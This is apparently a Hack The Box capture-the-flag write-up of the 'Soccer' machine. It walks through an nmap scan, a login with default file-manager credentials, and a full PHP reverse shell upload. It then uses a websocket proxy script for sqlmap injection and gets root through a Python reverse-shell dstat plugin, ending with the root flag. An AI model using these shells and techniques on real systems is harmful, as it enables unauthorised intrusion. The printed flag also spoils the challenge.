Soccer — Hack The Box | Writeup with Flag | 2023

Hack The Box — Soccer Machine Simple Writeup by Karthikeyan Nagaraj

Karthikeyan Nagaraj
InfoSec Write-ups

--

Phases…

  1. Scanning
  2. Enumeration
  3. Privilege Escalation

Make sure to Connect with HTB Vpn

1. Scanning

Perform a nmap Scan first
nmap -sC -sV <Machine-IP>

┌──(cyberw1ng㉿root)-[~]
└─$ nmap -sC -sV 10.10.11.194
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-31 22:45 IST
Nmap scan report for 10.10.11.194 (10.10.11.194)
Host is up (0.22s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sat, 31 Dec 2022 17:16:22 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 31 Dec 2022 17:16:22 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 31 Dec 2022 17:16:23 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=12/31%Time=63B06E60%P=x86_64-pc-linux-gnu%r(i
SF:nformix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\
SF:r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\
SF:x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nC
SF:ontent-Length:\x20139\r\nDate:\x20Sat,\x2031\x20Dec\x202022\x2017:16:22
SF:\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lan
SF:g=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n<
SF:/head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(H
SF:TTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Po
SF:licy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143
SF:\r\nDate:\x20Sat,\x2031\x20Dec\x202022\x2017:16:22\x20GMT\r\nConnection
SF::\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<m
SF:eta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>
SF:Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"H
SF:TTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-
SF:src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x2
SF:0text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sat,
SF:\x2031\x20Dec\x202022\x2017:16:23\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"
SF:utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS
SF:\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2
SF:F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")
SF:%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The best way to Enumeration is to check for any Vulnerable Endpoints
Ports and Services running are mentioned below,

Open Ports | Service Running
-----------|-----------------
22 | ssh
80 | http
9091 | xmltec-xmlmail

2. Enumeration

Let’s Look on httpfirst

  1. On Opening the IP, It is redirecting to soccer.htb as it looks like a private site, so let’s add the domain to/etc/hosts
sudo echo 10.10.11.194 soccer.htb >> /etc/hosts

2. In some cases sudo doesn’t work, at the time use su before running the Command

su
echo 10.10.11.194 soccer.htb >> /etc/hosts

Now let’s open the website soccer.htb

3. It looks like the page has no Information Available, Even in the Source code : (

4. Let’s Enumerate the Directories!!
For short web Content Enumeration, I’ll use the Below wordlist

/usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt

Sometimes dirb will slow, so you can use gobuster as alternative

5. From the Analysis, we found a directory /tiny

http://soccer.htb/tiny/

6. Notice the Bottom of the Image → © CCP Programmers

7. The Page is developed by Tiny File Manager which uses 2 default credentials that are mentioned in their GitHub documentation.
Try to Login with those Credentials.

username: admin
password: admin@123

username: user
password: 12345

We logged In as Admin : )

8. There is a “File Upload” feature that we can use to obtain aReverse shell

9. I used the Below Reverse shell

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.42'; // CHANGE THIS
$port = 2929; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {

$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);
}

if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

10. Make sure to change the IP Address and name it as .php

11. Then, Upload the File

The File is uploaded in /tiny/uploads/ directory

12. Before running the Reverse shell, Start the Listener by using the below command (The port used in the rev_shell should be used here to get reverse Connection)

nc -nvlp 2929

now type the URL of the reverse shell to gain a reverse connection like below

http://soccer.htb/tiny/uploads/<your-shell-name>

13. We got the reverse Connection!!

Now use the below Command to get bash

python3 -c "import pty;pty.spawn('/bin/bash')" 
Nothing Found on Home Directory

14. On /etc/nginx/sites-enabledwe found a subdomain

15. so Let’s add the soc-player.soccer.htb to our /etc/hosts and open it in the browser

http://soc-player.soccer.htb/

su
echo <htb_machine_ip> soc-player.soccer.htb >> /etc/hosts

16. There are some options like Match, Login and Signup option Available

Let’s Sign up and Login

After Signup and Login

17. On Viewing the source code, we get to know that this field is connected to the Web socket

18. We can use the Below python code to direct the request from sqlmap to our localhost

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message

ws.send(data)
resp = ws.recv()
ws.close()

if resp:
return resp
else:
return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False

if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'

self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return

class _TCPServer(TCPServer):
allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass

19. First, run the python script and then the sqlmap command

sqlmap -u “http://localhost:8081/?id=1" -p “id”

20. We got some Credentials

+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+

21. Let’s use these creds to login via ssh

3. Privilege Escalation

  1. Use linpeas and perform an Enumeration (If needed add a Comment, I’ll post in Brief)
[+] Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat

2. Create a python plugin called dstat_cyberw1ng.py in /usr/local/share/dstat/ with below code

/usr/local/share/dstat/ && nano dstat_cyberw1ng.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“<your-IP>”,2929));

os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);

import pty; pty.spawn(“/bin/sh”)

3. Make sure to set a Listener before execution

nc -nvlp 2929

4. Execute the below command and navigate to /root && cat root.txt

doas -u root /usr/bin/dstat --cyberw1ng
Flag: 6314c94f697b6d45e83003814fd187c2

Feel Free to Ask Queries via LinkedIn and to Buy me a Cofee : )

Thank you for Reading!!

Happy Hacking ~

Author: Karthikeyan Nagaraj ~ Cyberw1ng

--

--

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer